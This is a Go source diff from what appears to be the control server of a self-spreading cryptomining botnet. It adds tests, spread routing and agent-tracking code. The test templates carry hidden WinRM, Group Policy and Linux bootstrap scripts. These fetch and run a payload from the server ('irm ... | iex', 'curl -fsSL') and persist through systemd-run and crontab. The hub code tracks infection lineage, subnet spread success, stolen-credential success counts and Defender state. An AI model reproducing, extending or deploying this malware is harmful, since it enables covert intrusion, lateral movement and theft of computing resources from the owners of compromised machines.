return fmt.Sprintf("spread blocked: %v", err)
|
||||
}
|
||||
59
server/internal/api/spread_immunity_test.go
Normal file
59
server/internal/api/spread_immunity_test.go
Normal file
@@ -0,0 +1,59 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestSendAgentCommandBlockedBySubnetImmune(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetSubnetImmune(atlas.NewSubnetImmune(database))
|
||||
|
||||
agentID := "spread-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "host", Wallet: "x", IP: "10.0.0.50", Status: "online",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for i := 0; i < 5; i++ {
|
||||
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
|
||||
}
|
||||
|
||||
err = hub.SendAgentCommand(agentID, "spread_now", nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected spread_now blocked for paused subnet")
|
||||
}
|
||||
if !isSpreadCommandAction("discover_and_join") {
|
||||
t.Fatal("discover_and_join should be spread action")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckSubnetSpreadImmuneAllowsOtherPrefix(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetSubnetImmune(atlas.NewSubnetImmune(database))
|
||||
for i := 0; i < 5; i++ {
|
||||
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
|
||||
}
|
||||
agentID := "other-subnet"
|
||||
_ = database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "host", Wallet: "x", IP: "192.168.1.10", Status: "online",
|
||||
})
|
||||
if err := hub.checkSubnetSpreadImmune(agentID, "stage_fetch", nil); err != nil {
|
||||
t.Fatalf("other subnet should pass: %v", err)
|
||||
}
|
||||
}
|
||||
180
server/internal/api/spread_lanes_test.go
Normal file
180
server/internal/api/spread_lanes_test.go
Normal file
@@ -0,0 +1,180 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func writeDeploySpreadTemplates(t *testing.T, root string) {
|
||||
t.Helper()
|
||||
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
|
||||
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
winrmScript := `# WinRM bootstrap
|
||||
Enable-PSRemoting -Force -SkipNetworkProfileCheck
|
||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||
powershell.exe -EncodedCommand $encoded
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
||||
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
linuxScript := `#!/bin/sh
|
||||
LOTL_MODE='{{LOTL_MODE}}'
|
||||
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
|
||||
systemd-run --user --unit=aetherforge-worker.service
|
||||
persist_crontab() { crontab -; }
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
||||
if err := os.MkdirAll(entDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gpoScript := `# GPO computer startup script
|
||||
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
||||
$env:AETHER_DEFER_MINING = '1'
|
||||
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
|
||||
cases := map[string]struct {
|
||||
subdir string
|
||||
zip string
|
||||
}{
|
||||
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
|
||||
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
|
||||
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
||||
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
||||
}
|
||||
for tpl, want := range cases {
|
||||
subdir, zip, err := spreadTemplatePaths(tpl)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", tpl, err)
|
||||
}
|
||||
if subdir != want.subdir || zip != want.zip {
|
||||
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
|
||||
}
|
||||
}
|
||||
_, _, err := spreadTemplatePaths("bogus-lane")
|
||||
if err == nil || !strings.Contains(err.Error(), "unknown template") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanWinRMLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
|
||||
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "winrm" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
for _, marker := range []string{
|
||||
"http://127.0.0.1:8989/get?os=windows",
|
||||
"--spread-install",
|
||||
"--defer-mining",
|
||||
"Enable-PSRemoting",
|
||||
} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanGPOLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
|
||||
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "gpo" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
|
||||
t.Fatalf("script missing query suffix: %s", plan.Script)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
|
||||
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
database, err := dbpkg.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
buildDir := filepath.Join(dir, "builds", "b1")
|
||||
if err := os.MkdirAll(buildDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
artifact := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return NewDeployPlanHandler(database, dir, projectRoot,
|
||||
func() string { return "http://127.0.0.1:8989" },
|
||||
func() string { return "fleet-test" },
|
||||
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
||||
)
|
||||
}
|
||||
177
server/internal/api/spreadrouter_bridge.go
Normal file
177
server/internal/api/spreadrouter_bridge.go
Normal file
@@ -0,0 +1,177 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
// buildSpreadRouterInput assembles routing context from Path Tracer sessions and fleet state.
|
||||
func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets []string, requestedLane string) spreadrouter.Input {
|
||||
in := spreadrouter.Input{
|
||||
TargetSubnets: targetSubnets,
|
||||
RequestedLane: strings.TrimSpace(requestedLane),
|
||||
}
|
||||
if hub == nil {
|
||||
return in
|
||||
}
|
||||
|
||||
for _, sess := range sessions {
|
||||
if sess == nil {
|
||||
continue
|
||||
}
|
||||
snap := spreadrouter.SessionSnapshot{SessionID: sess.ID}
|
||||
for i, hop := range sess.Hops {
|
||||
if hop == nil {
|
||||
continue
|
||||
}
|
||||
subnet := spreadrouter.SubnetFromIP(hop.ExternalIP)
|
||||
if subnet == "" && hub.db != nil {
|
||||
if ag, err := hub.db.GetAgent(hop.AgentID); err == nil && ag != nil {
|
||||
subnet = spreadrouter.SubnetFromIP(ag.IP)
|
||||
}
|
||||
}
|
||||
snap.Hops = append(snap.Hops, spreadrouter.HopSnapshot{
|
||||
AgentID: hop.AgentID,
|
||||
AgentName: hop.AgentName,
|
||||
Subnet: subnet,
|
||||
SessionID: sess.ID,
|
||||
HopIndex: i,
|
||||
Connected: hub.isAgentConnected(hop.AgentID),
|
||||
})
|
||||
}
|
||||
for _, host := range serviceGraphList(sess.ServiceGraph) {
|
||||
sub := spreadrouter.NormalizeSubnet(host.Subnet)
|
||||
if sub == "" {
|
||||
sub = spreadrouter.SubnetFromIP(host.Host)
|
||||
}
|
||||
if sub == "" {
|
||||
continue
|
||||
}
|
||||
agentID := strings.TrimSpace(host.AgentID)
|
||||
if agentID == "" && len(snap.Hops) > 0 {
|
||||
agentID = snap.Hops[len(snap.Hops)-1].AgentID
|
||||
}
|
||||
snap.Discoveries = append(snap.Discoveries, spreadrouter.SubnetDiscovery{
|
||||
Subnet: sub,
|
||||
AgentID: agentID,
|
||||
Hosts: []string{host.Host},
|
||||
})
|
||||
}
|
||||
in.Sessions = append(in.Sessions, snap)
|
||||
}
|
||||
|
||||
hub.mu.RLock()
|
||||
connected := make([]string, 0, len(hub.agents))
|
||||
for id, conn := range hub.agents {
|
||||
if conn == nil {
|
||||
continue
|
||||
}
|
||||
connected = append(connected, id)
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
for _, id := range connected {
|
||||
if hub.db == nil {
|
||||
continue
|
||||
}
|
||||
ag, err := hub.db.GetAgent(id)
|
||||
if err != nil || ag == nil {
|
||||
continue
|
||||
}
|
||||
latency := 0
|
||||
if ag.LatencyMs != nil {
|
||||
latency = *ag.LatencyMs
|
||||
}
|
||||
clearanceLevel := clearance.L0
|
||||
if hub.clearance != nil {
|
||||
clearanceLevel = hub.clearance.Level(id)
|
||||
}
|
||||
in.FleetAgents = append(in.FleetAgents, spreadrouter.FleetAgentSnapshot{
|
||||
AgentID: id,
|
||||
AgentName: ag.Name,
|
||||
Subnet: spreadrouter.SubnetFromIP(ag.IP),
|
||||
Clearance: clearanceLevel,
|
||||
LatencyMs: latency,
|
||||
JoinLane: strings.TrimSpace(ag.JoinLane),
|
||||
Connected: true,
|
||||
})
|
||||
}
|
||||
|
||||
in.LaneSuccess = collectLaneSuccessStats(hub)
|
||||
return in
|
||||
}
|
||||
|
||||
func collectLaneSuccessStats(hub *WSHub) []spreadrouter.LaneSuccessStat {
|
||||
if hub == nil {
|
||||
return nil
|
||||
}
|
||||
type key struct {
|
||||
subnet string
|
||||
lane string
|
||||
}
|
||||
counts := make(map[key]int)
|
||||
|
||||
hub.mu.RLock()
|
||||
connected := make([]string, 0, len(hub.agents))
|
||||
for id, conn := range hub.agents {
|
||||
if conn == nil {
|
||||
continue
|
||||
}
|
||||
connected = append(connected, id)
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
for _, id := range connected {
|
||||
if hub.db == nil {
|
||||
continue
|
||||
}
|
||||
ag, err := hub.db.GetAgent(id)
|
||||
if err != nil || ag == nil {
|
||||
continue
|
||||
}
|
||||
lane := strings.TrimSpace(ag.JoinLane)
|
||||
if lane == "" {
|
||||
continue
|
||||
}
|
||||
sub := spreadrouter.SubnetFromIP(ag.IP)
|
||||
if sub == "" {
|
||||
continue
|
||||
}
|
||||
counts[key{subnet: sub, lane: lane}]++
|
||||
}
|
||||
|
||||
if hub.db != nil {
|
||||
if rows, err := hub.db.ListCredGraphBySubnet(); err == nil {
|
||||
for _, row := range rows {
|
||||
if row.SuccessCount <= 0 {
|
||||
continue
|
||||
}
|
||||
sub := spreadrouter.NormalizeSubnet(row.Subnet)
|
||||
counts[key{subnet: sub, lane: "spread_cred"}] += row.SuccessCount
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var out []spreadrouter.LaneSuccessStat
|
||||
for k, n := range counts {
|
||||
out = append(out, spreadrouter.LaneSuccessStat{
|
||||
Subnet: k.subnet,
|
||||
JoinLane: k.lane,
|
||||
Success: n,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func traceSessionsSnapshot(handler *PathTracerHandler) []*TraceSession {
|
||||
if handler == nil {
|
||||
return nil
|
||||
}
|
||||
handler.mu.Lock()
|
||||
defer handler.mu.Unlock()
|
||||
out := make([]*TraceSession, 0, len(handler.sessions))
|
||||
for _, sess := range handler.sessions {
|
||||
out = append(out, sess)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -82,6 +82,20 @@ func TestAuthResponseOmitsAdaptiveStrategyWhenAIControlEnabled(t *testing.T) {
|
||||
if _, ok := payload["adaptive_strategy"]; ok {
|
||||
t.Fatal("adaptive_strategy must be omitted when ai_control_enabled is true")
|
||||
}
|
||||
raw, ok := payload["spread_temperament"]
|
||||
if !ok {
|
||||
t.Fatal("expected spread_temperament in auth_response when ai_control_enabled")
|
||||
}
|
||||
data, _ := json.Marshal(raw)
|
||||
var temperament struct {
|
||||
TierOrder []string `json:"tier_order"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &temperament); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(temperament.TierOrder) == 0 {
|
||||
t.Fatalf("empty spread_temperament: %+v", temperament)
|
||||
}
|
||||
}
|
||||
|
||||
func repeatChar(c byte, n int) string {
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
@@ -158,9 +159,12 @@ type WSHub struct {
|
||||
agentServiceDiscover map[string]cachedServiceDiscover
|
||||
agentLiveTelemetry map[string]map[string]interface{}
|
||||
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
|
||||
agentSubnet map[string]string
|
||||
breedingRegistry *strategy.BreedingRegistry
|
||||
serverPolicy ServerPolicy
|
||||
adaptiveEngine *strategy.AdaptiveEngine
|
||||
failureAtlas *atlas.FailureAtlas
|
||||
subnetImmune *atlas.SubnetImmune
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -205,6 +209,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
||||
agentLiveTelemetry: make(map[string]map[string]interface{}),
|
||||
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
|
||||
agentSubnet: make(map[string]string),
|
||||
breedingRegistry: strategy.NewBreedingRegistry(),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -573,6 +579,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
delete(h.agents, agentID)
|
||||
delete(h.agentConfigs, agentID)
|
||||
delete(h.agentLogs, agentID)
|
||||
delete(h.agentSubnet, agentID)
|
||||
h.mu.Unlock()
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
@@ -647,6 +654,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
UTM string `json:"utm"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -802,6 +814,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
USBSpread: auth.USBSpread,
|
||||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||||
JoinLane: strings.TrimSpace(auth.JoinLane),
|
||||
ParentAgentID: strings.TrimSpace(auth.ParentAgentID),
|
||||
SpreadGeneration: auth.SpreadGeneration,
|
||||
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -847,8 +862,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.mu.Lock()
|
||||
startPing = true // fresh connection after displacing old one
|
||||
}
|
||||
domainJoined := prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain
|
||||
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.agents[agentID] = ac
|
||||
h.agentSubnet[agentID] = strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined).Subnet
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconPoliciesToWS(agentID)
|
||||
@@ -895,16 +912,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
domainJoined := false
|
||||
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
|
||||
domainJoined = true
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
|
||||
resp["spread_policy"] = map[string]interface{}{
|
||||
"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
|
||||
"hashrate_gate_hps": policy.HashrateGateHPS,
|
||||
}
|
||||
}
|
||||
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
var inherited *strategy.InheritedPhenotype
|
||||
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
||||
pheno := strategy.PhenotypeFromStored(*stored)
|
||||
inh := pheno.ToInherited()
|
||||
inherited = &inh
|
||||
} else if h.breedingRegistry != nil {
|
||||
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
|
||||
inh := bred.ToInherited()
|
||||
inherited = &inh
|
||||
}
|
||||
}
|
||||
if inherited != nil {
|
||||
inh := *inherited
|
||||
h.mu.Lock()
|
||||
h.agentInheritedPhenotype[agentID] = inh
|
||||
h.mu.Unlock()
|
||||
@@ -938,11 +966,32 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
resp["adaptive_strategy"] = adaptive
|
||||
}
|
||||
if policy.AIControlEnabled {
|
||||
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
|
||||
}
|
||||
if h.clearance != nil {
|
||||
level := h.clearance.InitAgent(agentID, agent)
|
||||
resp["clearance_level"] = level
|
||||
agent.ClearanceLevel = level
|
||||
}
|
||||
bakedRole := normalizeFleetRole(auth.FleetRole)
|
||||
if auth.SeederMode {
|
||||
bakedRole = "seeder"
|
||||
}
|
||||
h.storeAgentFleetRole(agentID, bakedRole)
|
||||
if policy.FleetRolesEnabled {
|
||||
seederCapable := auth.SeederMode || bakedRole == "seeder"
|
||||
hint := h.fleetRoleHintForAuth(agentID, bakedRole, clientIP, seederCapable)
|
||||
if hint != "" {
|
||||
resp["fleet_role_hint"] = hint
|
||||
h.storeAgentFleetRole(agentID, hint)
|
||||
}
|
||||
if hint != "seeder" {
|
||||
if seeders := h.lanSeedersForMiner(clientIP); len(seeders) > 0 {
|
||||
resp["lan_seeders"] = seeders
|
||||
}
|
||||
}
|
||||
}
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1072,6 +1121,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
||||
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
VulnFindings []struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
@@ -1232,6 +1287,24 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.JoinLane != "" {
|
||||
broadcast["join_lane"] = stats.JoinLane
|
||||
}
|
||||
if stats.ParentAgentID != "" {
|
||||
broadcast["parent_agent_id"] = stats.ParentAgentID
|
||||
}
|
||||
if stats.SpreadGeneration > 0 || stats.ParentAgentID != "" {
|
||||
broadcast["spread_generation"] = stats.SpreadGeneration
|
||||
}
|
||||
if stats.SpreadStrain != "" {
|
||||
broadcast["spread_strain"] = stats.SpreadStrain
|
||||
}
|
||||
if stats.FleetRole != "" {
|
||||
broadcast["fleet_role"] = stats.FleetRole
|
||||
}
|
||||
if stats.SeedPressure > 0 {
|
||||
broadcast["seed_pressure"] = stats.SeedPressure
|
||||
}
|
||||
if stats.HashratePressure > 0 {
|
||||
broadcast["hashrate_pressure"] = stats.HashratePressure
|
||||
}
|
||||
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
|
||||
var hints interface{}
|
||||
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
|
||||
@@ -1270,8 +1343,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
||||
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
|
||||
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
|
||||
h.ingestFleetPressure(agentID, broadcast)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "scout_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var report struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
ServiceCount int `json:"service_count"`
|
||||
ScoutMode bool `json:"scout_mode"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &report); err != nil {
|
||||
continue
|
||||
}
|
||||
if !report.ScoutMode {
|
||||
continue
|
||||
}
|
||||
ag, _ := h.db.GetAgent(agentID)
|
||||
platform, ip := "", ""
|
||||
var firewallDomain *bool
|
||||
if ag != nil {
|
||||
platform = ag.Platform
|
||||
ip = ag.IP
|
||||
firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
|
||||
|
||||
case "ai_snapshot":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1472,6 +1571,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestStrategyFromPayload(agentID, payload)
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "atlas_gossip":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleAgentAtlasGossip(agentID, msg.Payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1810,6 +1915,9 @@ func (h *WSHub) RemoveAgent(agentID string) {
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
if err := h.checkSubnetSpreadImmune(agentID, action, args); err != nil {
|
||||
return err
|
||||
}
|
||||
if h.isAgentConnected(agentID) {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
@@ -2070,6 +2178,75 @@ func (h *WSHub) tryPublishWinningPhenotype(
|
||||
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
||||
log.Printf("[phenotype] publish: %v", err)
|
||||
}
|
||||
if h.breedingRegistry != nil {
|
||||
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
|
||||
Fingerprint: fp.Key(),
|
||||
SpreadLane: strings.TrimSpace(joinLane),
|
||||
TierOrder: tierOrder,
|
||||
ActiveTier: strings.TrimSpace(activeTier),
|
||||
PeakHashrate: miningHashrate,
|
||||
FailedTiers: strategy.FailedTierSet(stratAttempts),
|
||||
SourceAgentName: ag.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) tryPublishScoutPhenotype(
|
||||
agentID, platform, ip string,
|
||||
firewallDomain *bool,
|
||||
joinLane string,
|
||||
serviceCount int,
|
||||
) {
|
||||
if h.db == nil || (strings.TrimSpace(joinLane) == "" && serviceCount <= 0) {
|
||||
return
|
||||
}
|
||||
ag, err := h.db.GetAgent(agentID)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if platform == "" {
|
||||
platform = ag.Platform
|
||||
}
|
||||
if ip == "" {
|
||||
ip = ag.IP
|
||||
}
|
||||
if firewallDomain == nil {
|
||||
firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
domainJoined := firewallDomain != nil && *firewallDomain
|
||||
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||||
lane := strings.TrimSpace(joinLane)
|
||||
if lane == "" {
|
||||
lane = "service_graph"
|
||||
}
|
||||
tierOrder := []string{"service_graph", "discover_and_join"}
|
||||
if lane != "service_graph" && lane != "discover_and_join" {
|
||||
tierOrder = append(tierOrder, lane)
|
||||
}
|
||||
pheno := strategy.FleetPhenotype{
|
||||
SourceAgentID: agentID,
|
||||
SourceAgentName: ag.Name,
|
||||
Fingerprint: fp.Key(),
|
||||
OS: fp.GOOS,
|
||||
SpreadLane: lane,
|
||||
